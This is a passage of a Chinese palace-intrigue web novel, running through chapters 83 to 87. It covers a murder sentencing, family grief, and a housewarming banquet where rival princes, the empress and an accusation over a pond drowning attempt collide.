谢群忍不住舔了舔干涩的唇角,说实话他觉得匪夷所思:“你为何要在镇国府行凶杀人?!是和府上的谁结仇了?” “妯娌不和,所以杀她府上几个丫鬟泄愤罢了。”刘氏说道。 谢群还是皱眉:“那这上面还记录你杀了个姨娘,也是因为不和?” 刘氏冷笑一声:“自然。” “大胆!”谢群突然猛地拍了一下惊堂木,声音大作,将在场的人吓了一跳,连带着一旁静坐的孙青莲都睁开了眼睛。 刘氏被吓得不轻,本就是乡野妇道人家,昨天发生的事情就已经够让她惊魂不已,现如今谢群的官威一出,她更是下软了半分。 燕安生怕谢群将实情审问出来,便直接开口说道:“人证物证聚在,这罪妇也已经招认了,大人还有其他的疑惑?” 谢群心里是没什么疑惑的,但是该有的流程得走一走,往常自己这么一下子,总有几个被吓破胆,然后案情出现反转的,但是眼下镇国府夫人也在这里,看来是坐实了。 于是他将惊堂木丢到了一边,朝着下属招了招手:“既然案情已经水落石出,那么把这罪妇待下去,不日问斩。” 他丢下一张亡命签子,那木牌掉在了刘氏的面前,刘氏才如梦初醒,等到人架着她的肩膀往外拖的时候,她大喊一声:“老爷——!照顾好我们的孩子啊!” 声音哀婉凄切,闻者落泪,谢群无奈的摇了摇头,就连一旁的孙青莲也忍不住抬头看了那刘氏,唯独燕安自始至终都没有回过头。 见状,孙青莲冷哼了一声。 这也是当初为什么她瞧不上燕安的原因。 永远的利益为先,这种男人,哪个女子跟了都得后悔。 刘氏交给大理寺,孙青莲也不必多留,刚上马车,后面便跟上来一个人,她立刻不喜蹙眉:“你上来干什么?” “嫂子行行好,你的马车大,多我一个不多啊。”燕安上了马车便掀开车帘催促马车快走,但是车夫不为所动。 见状燕安看着孙青莲说道:“嫂子,你不会是还介意当年的事情吧?当年年少轻狂,多有得罪,后来不也是被大哥摁着跟你赔礼道歉了嘛。” 孙青莲听完忍不住想笑:“这么多年,燕安你的厚脸皮是一年更比一年强,昨夜还对我和晚清舞刀弄枪的,今日便想直接翻篇了,我告诉你没门,赶紧下去!” 燕安哪里肯下,今日孙青莲一袭淡雅孔雀蓝的宫装,整个人端庄又优雅,再加上这火爆的脾气,眼下刘氏已经定了死刑,他现在又无妻妾傍身,看到昔日的白月光自然是心痒难耐了。 孙青莲见他眼球乱转一直在自己的身上游移,不由得心里犯恶心,当下冷下来:“再说一遍,下去!” 燕安还是没懂,甚至还起身:“嫂子,弟弟有几句话想跟你说,大哥这么多年在外面,你独守空闺,可怜至极,你看我与大哥长相也颇为相似,倒不如——” “敬酒不吃吃罚酒的东西!”孙青莲抿唇,眼见着燕安逼近,她直接抬脚对着他的腹部便是猛地一踹,直接将人给踹出了马车,外面的车夫像是后背长了眼睛似的,刚好挪开,那燕安没了遮挡,直接从马车上摔了下去,在大理寺的门口滚了两圈才堪堪停了下来,丢尽了脸面。 孙青莲掀开帘子看见燕安从地上爬起来,她骂道:“再敢进镇国府的门,把你的腿打断!” “泼妇!那是我大哥的府邸!你敢!”燕安此刻颜面无存,指着马车破口大骂。 孙青莲冷笑:“不行你就试试。”说完她让车夫驱使马匹回府,留着燕安站在原地继续无能狂怒。 一回到府上,孙青莲便交代了门房,谁也不许放燕安进来。 “回禀夫人,堂少爷没挺过来,人没了。”一旁等候多时的丫鬟送上了消息。 孙青莲表情淡然:“人呢?” “还放在屋里。” “晦气。”孙青莲提起燕民生就咬牙切齿,她抬了抬手:“去看看燕安今日落脚何处,然后把他儿子卷个铺盖送过去。” 燕民生杀了连宋姨娘在内的八人,孙青莲恨不得鞭尸,此刻死了也不许这种龌龊的东西呆在镇国府内。 “老太太那边如何交代……”丫鬟迟疑道:“今日老太太因为这件事情已经哭晕过去好几回了。” 孙青莲听罢,表情依旧淡然:“她是燕安的母亲,又不是我的母亲,关我何事。” 早在这老太太同意燕安对她和燕晚清动手的那一刻起,她们之间那淡薄的可怜的一点婆媳关系也就烟消云散了。 “老太太若是阻拦,便多找点人就是。”她吩咐着抬脚朝着燕晚清的院子走过去,一边走一边又问道:“红昭醒过没?可曾用饭?” “回禀夫人,五小姐刚醒,说现在还不饿。” 孙青莲眼中都是心疼,脚步更是加快了些许:“吩咐厨房煮点清单的粥,刚醒不能吃太过于油腻的,再去弄几样小菜。” 她走的飞快,甚至还用上了功夫,让丫鬟嬷嬷好一阵追赶。 丫鬟一边追一边奇怪的问道:“近日不曾见到夫人带佛珠了,那可是夫人不离手的东西,可是丢了?” 嬷嬷看了丫鬟一眼:“少说话,不该你管的事情少管。” 从不离手的东西怎么会丢呢,只不过是被人放下了而已。 第八十三章 死道友,不死贫道 燕红昭醒过来不吃不喝,但是别人问什么也能回答,只不过眼见着不如当初那般张扬活泼了。 丫鬟们还看到燕红昭经常一个人趴在床榻上流眼泪。 孙青莲为此事着急的不行,她想要找个人商量商量,话到嘴边才发现,不光是燕红昭没了娘亲,她孙青莲也失去了一个说话的人。 “母亲,我想要见大姐姐。”燕红昭突然主动开口说了一句话。 孙青莲愣了一下,她抬手让人去找燕晚清过来,看着小脸煞白的燕红昭,最终一句话都没有问。 等到燕晚清过来了,孙青莲也自觉的退出了房门。 燕红昭一见燕晚清过来,原本干涩的眼眶瞬间红了,眼泪一下子涌了出来,她哽咽道:“阿姐。” 燕晚清上前坐在床榻边上,用帕子给她擦拭眼角的泪水,单手轻抚燕红昭的背部:“我在。” 燕红昭像是一头小兽呜咽出声:“再有十天,我就及笄了。” 燕晚清也红了眼圈:“阿姐知道。” “姨娘那么期盼着我及笄,甚至还给我早早的准备好了衣服,可是她都看不见我穿衣服的样子了……”燕红昭哭的断断续续:“那天她本来是想让我试衣服的,可是我贪玩跑去练武场了……就没,没穿成,阿姐我好后悔,我应该穿给她看的……” 燕晚清没说话,此刻她也不知道说什么。 重活一世,改变了很多人的命运,宋姨娘的死,燕晚清心中自然是愧疚万分,她没有想到会变成这个样子。 “对不起。”燕晚清低声说道。 燕红昭没听见,她继续沉浸在悲伤里,又哭了好一阵,哭的整个人都抽抽,燕晚清一直安静的陪着。 不知道过了多久,燕红昭恢复了平静。 “阿姐。”燕红昭用鼻音喊道。 燕晚清低头看她,鼻子哭的红彤彤的:“阿姐在。” “人到底要变得多强,才可以保护自己在意的人和东西啊?”燕红昭扬起眉头看向燕晚清。 燕晚清唇角苦涩,她摇了摇头:“不知道。” 不管变得多强,得到一些东西的同时就会失去一些东西。 这叫能量守恒。 燕凌珍跟她说过,上天是公平的,给你什么便也会收回什么,这是为了维护天地之间的守恒法则。 “阿姐都不知道的话,我又该怎么办呢?”燕红昭陷入了迷茫中。 燕晚清摸着她的头:“红昭不需要变强,一直呆在阿姐身边就好,阿姐会永远保护红昭的。” “不!”燕红昭抬手打开燕晚清的手,在她错愕的神情中,燕红昭倔强的喊道:“我要变强,我已经失去姨娘了,我不想再失去阿姐,也不想失去母亲,还有六妹七弟还有家中的其他人!既然没有最强,那我就要一直让自己更强,只要我够强,便没有人能够轻易欺负我的亲人家人!” 燕红昭喊的时候声音沙哑,可是目光灼灼,燕晚清在里面看到一个少年的倔强与坚持,她愣住了。 过了好久,她才上前一把抱住燕红昭,将整张脸埋在了她的脖颈处。 “好,红昭想做什么阿姐都会支持你。” 燕红昭眼里都是执拗:“阿姐,及笄那天将青蛇剑送给红昭好吗?” “好。”燕晚清没有任何犹豫。 因为她答应的太快,燕红昭有些反应不过来,但是很快她抱紧了燕晚清哽咽道:“阿姐……” “我在。” “阿姐!” “嗯,我在。” “阿姐……” “我在。” …… 时间过得很快,这段时间里燕晚清饱受这害喜带来的苦难。 眼看着肚子也开始有了幅度,她主动和孙氏提出了要入驻郡主府。 孙氏的第一反应自然是不同意,但是燕晚清很坚决,怀玉也跟着提出要过去郡主府照看,孙氏这才松了口。 燕安自从那天之后老老实实的再也没有出现过,老太太因为燕民生的死显得有些神志不清,躺在榻上,时常清醒,时常昏迷,状态不是很好,燕安知道了也不曾过来看过。 今日是入驻郡主府的第一日。 平日里燕晚清几乎不与各家小姐交流,但是前几日她便给京城的各个官家小姐提前递了拜帖,因为安平郡主的名声实在是大,再加上南山之行她的言行举止让官宦家的小姐觉得新奇,所以今日来的人不少。 大家都送了很多乔迁之喜的礼物,因为圣上的诏书,所以怀玉也就光明正大的站在门口作为男主人迎客,笑的她脸都要僵了。 “七皇子殿下到——!” 刚将唇角降下来的怀玉瞬间又提了起来,眼见着门口一个长相阴柔的俊美男子跨门走了进来,身后跟着四个小厮抬着巨大的箱子进门,怀玉迎了过去:“欢迎七皇子殿下,今日光临郡主府,实在是蓬荜生辉。” 萧鸿深打量着比自己矮半截头的怀玉,从鼻腔里发出一个轻微的气音。 怀玉袖子下的手攥成了拳头。 “这么大喜的日子,郡主呢?怎么不见在前门迎客?” 怀玉皮笑肉不笑:“安平郡主在安置女宾,所以便让本侯主外迎客了。” “哼!”萧鸿深又是一声冷哼,抬脚进了门。 怀玉看着他不可一世的背影,忍不住翻了个白眼。 什么人呢都是! 正想着又听见门外喊道:“太子殿下到——” 怀玉:“……今天可真是个大喜的日子!” 难怪燕晚清昨夜拉着让她早点睡,说今天白天势必要脱一层皮,原来是这个意思。 眼见着那绛紫色长袍的男子走了进来,周身与生俱来的天子之气让人不敢直视其容颜,只听见温和的声音缓缓响起:“小侯爷也在啊。” 眼见着刚刚还风和日丽,听到耳边的话语声也是轻风细雨,怎的周身觉得凉飕飕的,怀玉微微蹙眉,将身子缩了缩:“见过太子殿下。” 萧蘋风看着眼前皮肤细白,看起来弱不禁风,自己一拳就能打死的怀玉,黑眸里闪过一丝不解。 为何她会喜欢这般的男子? 怀玉本着祸水东引,死道友不死贫道的精神,笑着冲着太子殿下说道:“郡主今日特意烹煮了新茶,十分香甜,七皇子殿下现在已经去找郡主喝茶了,太子殿下可要去尝尝鲜?” 萧蘋风似笑非笑的扫了一眼她,淡淡的嗯了一声,然后大袖一挥迈开脚进去了,身后跟着的人抬了一箱接一箱的东西进门。 怀玉数了数。 整整八箱。 这哪是恭贺人乔迁之喜啊。 这是要下聘啊! 怀玉忍不住咋舌想到。 第八十四章 松手,不然后果自负 燕晚清这边刚刚跟李太傅家的千金打完招呼,回过头就看见萧鸿深斜靠在柱子边上,正目不转睛的看着自己。 她原本很好的心情,一下子冷凝住了。 “老师笑的好像很开心,可惜了,本殿下最近不是很开心。”萧鸿深站直了身子,朝着燕晚清这边走了过来。 燕晚清冷哼一声,漫不经心的扫了他一眼,扭头就想走。 他当然不开心了。 红雾已经把从欢的尸体送到了他的榻上,这要是能开心就有鬼了。 “老师……安平郡主不想跟本殿说点什么吗?”萧鸿深双眸微敛,满是不爽,上前直接拽住了她的胳膊。 燕晚清停住,看着自己被拉住的胳膊,周围人来人往,大家打量的目光让她此刻周身如同浸润了一层冰霜,这次是一点面子都不给了,她直接冷下脸来:“松手!” 萧鸿深阴翳的目光在她脸上一寸寸的扫过,见她最近面颊酡红,身子也多了几分圆润,看起来越发的勾人心魂,再想到她已经和那北疆的小侯爷订了婚,直接开口道:“不松,你能奈我何?” “前几日只是开胃小菜,七皇子殿下应该深知本郡主向来睚眦必报。”燕晚清伸出另外一只手用力扯开他挟制的大手,哪怕扯得自己生疼,她眼皮子也不带眨一下。 萧鸿深见她如此绝情,更加用力:“本殿不过是担心你,你当真要如此绝情?你我之间师徒情谊,当真要烟消云散?” “萧鸿深你我之前从来没有半分情谊,你是个什么样子的人,自己心知肚明,既然你让从欢对本郡主下手了,再说这些不觉得可笑么!”燕晚清冷着一双美眸,再度强调:“松手!不然后果自负!” 萧鸿深抿着唇,正要说话,便听见身后传来一道温柔似春风的声音,听着人几乎要化掉的男音:“七弟,这样抓着女子的手可不礼貌,女子是用来疼惜的,可不是用来伤害的。” 说着那人走上前来,手里的扇子在萧鸿深的手背上敲了一下,就那么一下,萧鸿深就感觉整条臂膀都麻了,燕晚清瞬间挣脱开来,站在了一边揉手腕。 看着自己手背上的深红色的印记,燕晚清眼里的冰霜越加浓厚。 “崽种!” 她红唇微动,暗暗骂了一声。 声音很轻,几乎只有她自己听得见,但是身边的太子爷微微挑了挑眉,意外的扫了她一眼。 这丫头的脾性,怎么日益乖张了起来。 燕晚清不知道自己骂人被听见了,她揉着手腕,目光直勾勾的看向萧鸿深:“听闻七皇子殿下大理寺统管的不错,这皇宫内的御林军都要交给殿下管理了,看来是深得陛下恩宠啊,只是殿下得收敛收敛自己的脾性,后宫的娘娘大多身份尊贵,比不得本郡主皮糙肉厚的,到时候殿下拿捏不准分寸,伤了谁,那可就颜面尽失了。” “你!”萧鸿深大怒。 燕晚清挑眉:“本郡主若是有说错的地方,还请七皇子殿下多担待,毕竟只是妇人拙见,不堪上大雅之堂。” 六国公认的女诸葛安平郡主,说自己头发长见识短,不堪上大雅之堂,那可真的算是**裸的挑衅了,当下萧鸿深的脸便黑的像是一团墨水了。 那天晚上他从教武场出来,沐浴完刚上榻便看见了一具冰冷的尸体,气得他被褥连床榻都烧的干干净净,思来想去便知道是她给自己的警告,今日她乔迁之喜,自己过来看看情况,果真是与自己针锋相对了。 不过燕晚清说对了,自己现在确实如日中天,深得父皇喜爱,却不是因为大理寺管理得当,而是因为他上供了某个部落的延年益寿的神药。 御林军交给自己的那一刻,便是默许他和太子针锋相对,开启夺嫡之争了! “燕晚清,之前的事情本殿可以翻篇不与你计较,往后你和燕家还有很长的一段路要走,你也是燕家的嫡长女,每一步都得三思而后行!” 萧蘋风深呼吸一口气,没有当场发作,顾及到镇国府的存在,他可以再给燕晚清一个机会。 可是没等到燕晚清说话,便见身边一言不发的太子爷,突然开了口。 那把扇子在他的面前刷的一下打开,便见人侧了过来,刚刚还如沐春风的人,此刻双眼都是阴沉。 萧蘋风睥睨斜眼扫过去:“孤不说话,你便当孤是死的么,这东宫还是孤在住着,孤一日不废,你便一日是臣!” 萧鸿深闻言瞳孔骤缩! 他咬牙切齿道:“那一日不远了。” “你且看着那一日远不远。”萧蘋风勾唇轻笑,眼底都是嘲讽,好像在说有本事你现在就把我杀了。 萧鸿深怒极反笑,像是想到了什么东西,他绷紧的身体瞬间松了下来:“皇兄还是这般自信,真希望春闱之后皇兄还能笑得出来。” “孤笑不笑的出来不知道,但孤肯定会笑到最后。” 两个人之间针尖对麦芒,一时之间屋内鸦雀无声,所有人大气不敢喘。 唯独燕晚清站在最近的地方,吃着最直接的瓜,心情美好的甚至想要喊从歌递给自己一把瓜子。 七皇子因为最近春风得意,竟然敢直接对上不知深浅的太子爷了,看来是在朝臣中获得了不少支持,再加上皇帝给的底气,既然提到了春闱,他必定是要有大动作了。 但是太子萧蘋风也不是吃素的,更何况他的手里握有实权,西北部的军权可全都捏在他的手里,区区一个御林军而已,他根本不放在眼里。 终究还是宫女所出,这么多年过去了,萧鸿深的眼界还是这般的小。 燕晚清真不知道那几年,萧鸿深跟着自己究竟都学会了什么,只有阴谋诡计么? 正想着,门口又进来一道火红色的身影,慵懒至极,光听声音便足以勾魂:“哟,真热闹,看来本宫来的是时候啊。” 张岚依一袭凤凰重工皇后特有的宫装徐徐的从门口走进来,左手搭在公公的手背上,摇曳着妖娆的身子走了进来,目光在燕晚清的脸上扫过,眼中闪过一抹光亮,很快又消失了,最后她意味深长的看着两位皇子。 “太子和七皇子来的真早,比本宫还要早呢。”张岚依进来,屋内的众人立刻行礼,她媚眼扫了一圈然后抬抬手:“免礼。” 她朝着燕晚清勾了勾手指:“过来,让本宫好好瞧瞧,几日不见郡主倒是长胖了不少。” 燕晚清:“……”她心里咯噔一声,低着头温顺的走了过去,生怕让张岚依发现自己身体上的异样,笑着说道:“回禀娘娘,兴许是前些时日补品用多了的缘故。” 张岚依拉着她的手,细细的打量着:“本宫最不喜那些士大夫说的以瘦为美,女子胖瘦皆为美,何须执意追求瘦态美呢,郡主这般,就挺好的,可不许再瘦回去了。” 燕晚清点点头:“诺。” 张岚依懒洋洋的又开口了:“刚刚两位皇子是在吵嘴么?” 众人:“……” 皇后娘娘看热闹不嫌事大,哪壶不开提哪壶的本事不减当年。 第八十五章 同你父皇说,今晚本宫不回去了 见两位皇子都不开口说话,张岚依勾起红唇也不在意,反而劝道:“大渭向来以和为贵,你们也都不是小孩子了,今日是安平郡主乔迁的大喜日子,可不要失了分寸。”说着她又拉着燕晚清的手说道:“还望郡主不要和他们计较才是。” 这一副以长辈自称的姿态,让萧鸿深直接冷下脸拂袖而去。 就连在外面一向温和有礼的太子爷,此时也不禁威胁的眯起了黑眸,警告的看向了张岚依。 张岚依丝毫不退让的瞪了回去。 她向来便是得寸进尺的性子,眼下能看到这两个肉中刺吃亏,心中别提多爽快了。 “瞧瞧,咱们七皇子还是个小孩子脾气呢。”张岚依当着众人的面又说道。 这话没有人敢接,敢接的某位爷,一点都不想搭理她。 不过张岚依向来是自娱自乐的性子,也不觉得身为皇后被皇子不礼貌驳了面子,反正她今日也不是为了这两个人过来的。 燕晚清才是今日的主角。 “门口听见小侯爷说你这里刚收了新茶?”张岚依看着燕晚清说道。 燕晚清低眉顺眼,早就不同当时南山那一夜的嚣张自傲,温顺的和在座的大家闺秀如出一辙:“娘娘上座,这便吩咐丫鬟们沏茶。” “那本宫可是有口福了。”张岚依朝着主位走了两步,突然好似想到了什么,回过头看向一言不发捏着扇子的太子爷:“太子可要一起尝尝?” 萧蘋风目光轻轻落在旁边的燕晚清身上,最后摇了摇头:“不用了,孤还有事情要忙,今日过来不过是恭贺郡主乔迁之喜的。” 燕晚清回以欠身行礼:“多谢太子殿下。” “太子要走?”张岚依问道。 萧蘋风颔首:“政务繁忙,塞北那边动荡不安,还是有一些事情要处理的。” “那便不留太子了。”张岚依轻叹一声:“劳烦给你父皇带个话,说本宫与安平郡主一见如故,便不回去了。” 萧蘋风闻言微微蹙眉,目光在两个人身上来回游移,最终应了下来。 到底是大渭的太子爷,燕晚清身为郡主府的主人还是要去送的。 怀玉看到了也一起跟了过来,刚跟着走出门口,便察觉到某位爷冷飕飕的目光,她这要迈出去的腿打了弯儿往回走了。 燕晚清没注意到这一幕,将人送到了台阶下,只看到一匹黑马,愣了一下。 “殿下今日没有坐马车?” 萧蘋风点了点头:“马车太慢了,便直接骑马过来了。” 他早早的便让人准备了一些礼物,礼物先行,他处理完要事才从西北区的军营骑马过来。 “这马好生漂亮。”燕晚清眼睛一亮。 高头大马,全身漆黑,毛发锃亮,双眼黝黑亮晶晶好似里面有万千星辰,看着十分的讨喜有灵性。 萧蘋风见她喜欢,便笑道:“她叫黑雲,你若是喜欢便送你了。” 黑雲听到主人要把她送出去的话语,不满的打了个响鼻。 燕晚清见状弯了弯眉眼:“万物皆有灵,殿下的这匹马竟然听得懂人话。”她伸出手要摸,黑雲直接歪过马头不让她碰。 “哟,还有小性子呢。”燕晚清笑道:“不过可惜了,本郡主想要摸的还没有摸不到的。”她说罢借力萧蘋风的肩膀,直接翻身上马,速度快到让黑雲根本无法反应。 等到她反应过来了,燕晚清已经拽进了马绳得意洋洋的说道:“你若是将我从上面摔下去,我便让你的主人三天三夜不给你吃的。” 双蹄刚要弹起的黑雲瞬间看向了萧蘋风,见自家主人噙着一抹宠溺的笑看自己身上的女人时,她委屈的将前蹄放在了地上。 好了,不用说了。 马儿心里都懂。 马儿心里苦,马儿只是不说,说了也没人听得懂马语。 燕晚清见身下的黑雲老老实实的在原地打了个响鼻,她勾了勾唇。 “这么多年过去了,你这训马的技术还是这么别出一格。”萧蘋风仰头看着马背上的燕晚清说道,日头之下她的鼻尖有些许汗珠,看的出来刚刚的一翻动作让她有些疲惫,不过唇角始终洋溢着微笑,他便也跟着微笑。 燕晚清坐在马背上深呼吸一口气。 自从被下了千机之后,她已经四年没有坐在马背上了,都快要忘记当初自己是从马背上长大的了。 摸着手上的缰绳,她浑身上下都充满了怀念。 果然,刻在骨子里的东西是骗不了人的。 “黑雲很乖,若是换做寻常不同灵性的马,此刻已经将我甩在地上了。”燕晚清说这话的时候故意很大声,果然听见黑雲得意的打了个响鼻。 还显摆的带着身上的燕晚清原地转了两圈。 乐的燕晚清哈哈大笑。 小东西,还挺好哄的。 萧蘋风见一人一马如此融洽,也微微跟着出神。 早知如此便多送一些活物了,她这般喜欢黑雲,不知道还喜欢其他什么动物。 燕晚清知道时间不早了,不能耽误萧蘋风的正事,于是便想翻身下马,但是刚要下来一阵天旋地转,她下意识的勒紧的缰绳! 萧蘋风一直在关注燕晚清,见她状态不对,疾呼赶过去:“黑雲!” 黑雲感受到身上人的异样,立刻跪坐住前蹄,将整个马身都跪坐在了地上,与此同时燕晚清被赶过来的萧蘋风稳稳的接在了怀中。 见一人一马都这么紧张自己,燕晚清忍不住好笑的扶额。 “无碍,只是一时之间有些晕眩而已,马上就好了。”她慢慢的站直了身子,人多眼杂的,这般行为多有不妥。 萧蘋风感受着她的疏离,表情微微僵硬,慢慢的松开了手。 大门口一直站着迎客的怀玉见燕晚清没事,松了一口气。 得亏是被接住了,这要是从马上摔下去,肚子可还有一个呢! 门口的客人见怀玉如此紧张,目光在太子和她脸上游移了一会儿,最终伸出手拍了拍怀玉的肩膀:“小侯爷,能屈能伸啊!真乃大丈夫也!” 怀玉:“???”说什么屁话呢?! 她是不是在大家的目光中看到自己头上的帽子了? 怀玉忍不住摸了摸自己的头。 再看门口二人不知道说了什么,太子爷翻身上马,动作行云流水一气呵成,然后驾马朝着西北方疾奔而去,燕晚清也盈盈往回走。 “他不是要送马给你吗?怎么自己骑走了,可是舍不得?”怀玉迎了上去问道。 第八十六章 推我入水,害我性命 燕晚清被问的一脸懵。 “若是留下黑雲,太子殿下如何回军营?” 怀玉看着很快消失在街角的一人一马,眼里都是舍不得:“府里还有其他的马啊……” “行了行了,赶紧去迎客,然后再去后厨看看,今天来了不少达官贵人,怎么说你也是第一次以安平郡主未来夫君的形象出现,今日皇后娘娘刚好在,你得好好表现。”燕晚清伸出手将她的衣襟整理了一番。 本就是个寻常的行为,自从知道了怀玉是个女儿身之后,她们经常会有身体上的接触。 但是这种行为被不远处的七皇子看见,就十足显得有些碍眼了。 他满是冰霜的双眸死死的盯着怀玉,最后又落在了一脸温柔笑着的燕晚清身上,想到了刚刚屋内发生的一切,最终他抬手折断了眼前一串刚冒出新芽的柳枝。 “墨山,去催催燕安的进度。”他低声说道,身后那个站在人群最前方都会被直接无视掉的女子低头答应。 萧鸿深看见燕晚清的脸,依稀如梦中那般缱绻,可是这等温柔却不再是只对着他一个人了。 他低低的自嘲出声:“原来,你对谁都可以这样笑。” 既然是这样,那么他也不会再留恋了。 萧鸿深头也不回的转身离去,身后的墨山站在原地,深深的看了一眼燕晚清那边,最终寡淡的脸上没有留下任何情绪的东西,跟着离开。 这一幕没有被任何人看见。 因为皇后还在正厅坐着,燕晚清便加快脚步跑回去陪着,刚进门便看见她的周围围坐着一群官家小姐,时不时人群中传来惊呼,好不热闹。 她好奇的垫脚往里看,才发现是皇后正在跟一个人下棋,那人穿着一身常服,却有一个锃光瓦亮的头颅,她见状愣住了。 竟然是南山寺的主持虚无。 她记得自己没有给南山寺递请帖啊。 燕晚清将目光落在现在笑的恣意的皇后张岚依身上,她紧紧的皱紧了眉头。 棋局在诸位官家小姐的眼里是风云变幻的,但是落在燕晚清的眼中就有点小打小闹,棋盘表面上是大杀四方,但是背地里却多的了些说不清道不明的东西。 好不容易等到一盘棋局结束了,燕晚清赶紧跻身进去笑道:“真是精彩!娘娘棋高一招,果真妙哉!” 张岚依见她夸得厉害,红唇勾起,勾魂的眼神落在她的面上笑道:“小嘴倒是甜,本宫有赏。”说着她从手上撸下来一串銮金龙凤镯子套在了燕晚清的手上。 这一下可把周边的小姐们刺激的不清,七嘴八舌的开始夸赞起张岚依来。 逗得张岚依捂住红唇笑声不止:“好好好,都有赏!有赏!” 燕晚清摸着手腕上的镯子,抿着唇没再继续说下去。 这哪里是要打赏她,这是让她拿了东西把嘴闭上,别惹她不高兴啊。 又是一番热闹喧嚣,吵得燕晚清耳膜疼,可是作为东道主又不能不陪同身份尊贵的皇后,直到午宴开席,这些官宦女眷才平静下来,各自坐到各自的席位上了。 今日的日头很足,天气也温暖,院子里开了花,燕晚清便直接让人将席位摆在了凉亭里。 不时有暖风裹着花香吹过,赏花吃酒吃菜,众人再唠唠嗑,也是十分惬意的。 正乐呵着,从歌疾步从外面走过来,在燕晚清的耳边说了几句。 燕晚清原本弯着的眉眼淡了几分。 张岚依瞧见了,盯着燕晚清看,等她告知自己。 燕晚清便用手捂着嘴凑过去:“李太傅的千金落水了,臣女过去看看。” 见张岚依点了头,燕晚清起身和众人说自己有事便先行走了出去。 “好端端的怎么会落了水?”燕晚清疾步朝着外面走去。 虽说这日头足,但到底还是没有正式开春,一个娇嫩嫩的女子落下冰冷的池子里,也是要人命的事情。 从歌也是刚收到的消息,被燕晚清问了只得说道:“具体如何不清楚,但是陪同李千金的还有其他几位小姐。” “都有谁?” “张家的,王家的两位。”从歌老老实实的回答。 主仆二人走到了池子边上,便远远的看见了有男客朝着这边走过来,燕晚清皱着眉头继续往前走,一边走一边开始解自己披风上的绳子。 此时李千金被丫鬟们捞上来,正虚弱的坐在地上瑟瑟发抖,身边站着的两位官宦小姐,应该就是从歌刚刚说的张家的千金和王家的千金了。 燕晚清上前二话不说将披风丢在了李家千金身上,吩咐她身边的丫鬟:“别哭了,给你家小姐裹上。” “从歌吩咐柴房烧热水,让李家小姐去洗个热水澡,衣服就先从我的衣柜里拿。”燕晚清语速不慢,直接将事情交代下去。 从歌便和那丫鬟将李家小姐搀扶了起来。 “等等!”虚弱的声音从燕晚清身后传来,她侧眸看到了瑟瑟发抖的李家小姐开口说话,燕晚清微微挑眉:“你有话要说?” 李家小姐在家排行老三,叫做李呈媛。 今日也是因为长姐有事,才代替长姐过来参加宴会,只是没有想到会遇到这种事情。 “臣女求郡主做主!”李呈媛双膝跪在了地上,小脸苍白,抬手指着张家和王家的小姐说道:“她们二人蓄意谋杀臣女!” “哦?”燕晚清抿着粉唇,眼里闪过兴味。 被指着的张王两家的小姐立刻炸毛:“李呈媛你胡说八道些什么呢!郡主您可别听她乱说,全京城都知道她李呈媛信口开河惯了,还喜欢爬她姐夫的床榻,闹得她长姐长姐夫情感不和,最是表面一套背地一套!” “张念王可人,现在说的是你们推我入水,谋害我性命一事。”李呈媛脊梁挺得笔直,丝毫不退让。 张念见李呈媛敢顶嘴,直接骂道:“谁看见我们推你下水了?!你可不要乱说话,明明是你自己落水的,非要赖在别人身上,我和可人姐姐没有你长姐那般脾气好,还容得下你!还让你这样的人过来参加郡主的宴会!你自己倒也好意思过来!” 全程燕晚清没有插嘴说一句话,她在打量李呈媛。 打量这个小姑娘的眼睛。 亮的出奇。 里面的执拗让她充满了好奇。 见李呈媛昂着头看向自己,燕晚清说道:“你想让本郡主替你主持公道?” 第八十七章 臣女一惯是,无利不起早 李呈媛见燕晚清问自己,便跪的笔直:“求郡主做主!” “好!”燕晚清眼中闪过一抹暗色,稍纵即逝,此时男客们也悉数到了场,看到这一幕纷纷错愕起来。 “怎么回事?” “呈呈你怎么落水了?!”人群中冲出来一位男子,一袭蓝袍,面若冠玉唇红齿白,是个俊俏的书生模样,他目光中透露着紧张看向跪在地上的李呈媛。 李呈媛此刻眼圈才微微发红,但是依旧是一滴泪没有落下。 “我没事姐夫,郡主殿下会主持公道的。”她哽咽的说道。 男子这才看到燕晚清也在这里,当机行了一个礼:“见过安平郡主。” “免礼。”燕晚清怔怔的盯着这男子眉心的一点红痣,有些讶然:“你是?” “在下吴城南,目前无功无禄,是太子殿下府内一名门客。”吴城南恭恭敬敬的回答道。 燕晚清当然记得他,前世萧蘋风被困战场不得回的时候,东宫门客三千,唯独有一个叫吴城南的人能与自己分庭抗礼,让她头疼了好一段时间,虽然最后依旧是她技高一招,但是吴城南确实是一个可敬的对手。 只是燕晚清没有想到这一世会这般早的遇到这个人。 原来他早就已经是萧蘋风的门客了。 “就是你们二人推呈呈落水的?”吴城南看着王可人张念皱眉说道。 王可人盈盈粉泪站着不吭一声,张念却是直接冷笑一声:“好歹是李家的女婿,那李家嫡长女真是倒了八辈子血霉嫁给你这样的窝囊废,你是哪只眼睛瞧见我们推她入水了,张嘴就来,郡主殿下都没有下定论呢,轮得到你在这边说三道四嘛!” 张念一张嘴却是是能说回答,根本也无需王可人在旁边多说什么。 那吴城南被一介女流说的脸颊通红,眉心的红痣也跟着暗淡了几分。 燕晚清眼见着又刮来一阵风,李呈媛裹着披风颤抖了一下,她懒洋洋的开了口。 “本郡主问你,你是想先去沐浴更衣,还是就这样跟着本郡主一起到皇后娘娘那边讨个公道?” 李呈媛双眸认真:“张念王可人不止一次害我性命,今日倘若不是丫鬟跟得紧救我上来,此刻怕是已经成了一缕冤魂,这件事情哪怕是豁出去一条性命,也要请皇后娘娘和郡主替臣女主持公道!” “行。”燕晚清抬脚往前走:“那便废话少说,都跟上来吧。” 她走的快,不消片刻便消失在假山的尽头,李呈媛赶紧让丫鬟扶着自己跟上去,吴城南眼中闪过一丝担忧,最后也没辙跟了过去。 最后只剩下张王二人对视了一眼,最后咬牙跟了上去。 “横竖她拿不出什么证据。” “这件事情本就是她长姐的手笔,跟我们有什么关系,谁叫她自己不干不净非要勾引长姐的男人,天生的狐媚子样,呸!” 张念想起李呈媛的那个模样便忍不住唾弃道。 王可人无奈的叹了一口气,拉着她往前走:“各自立场不同罢了,李呈媛的姐姐横刀夺爱也不是什么好东西。安平郡主足智多谋,自然会知道来龙去脉,她这次落水也只是个意外,推她下去的根本就不是我们,只是这种事情说出去李呈媛自己不信罢了,她非要闹到皇后娘娘那边,我们也只能实话实说了。” 很快一行人到了张岚依的亭子外面,燕晚清进去跟她说明了情况。 张岚依古井无波的目光扫了一眼李呈媛,然后毫不留恋的收回了,她放下手中的杯盏:“就是你要本宫替你主持公道?” “你上前去。”燕晚清看着李呈媛说道。 李呈媛硬着头皮走到了亭子里跪下:“见过皇后娘娘。” 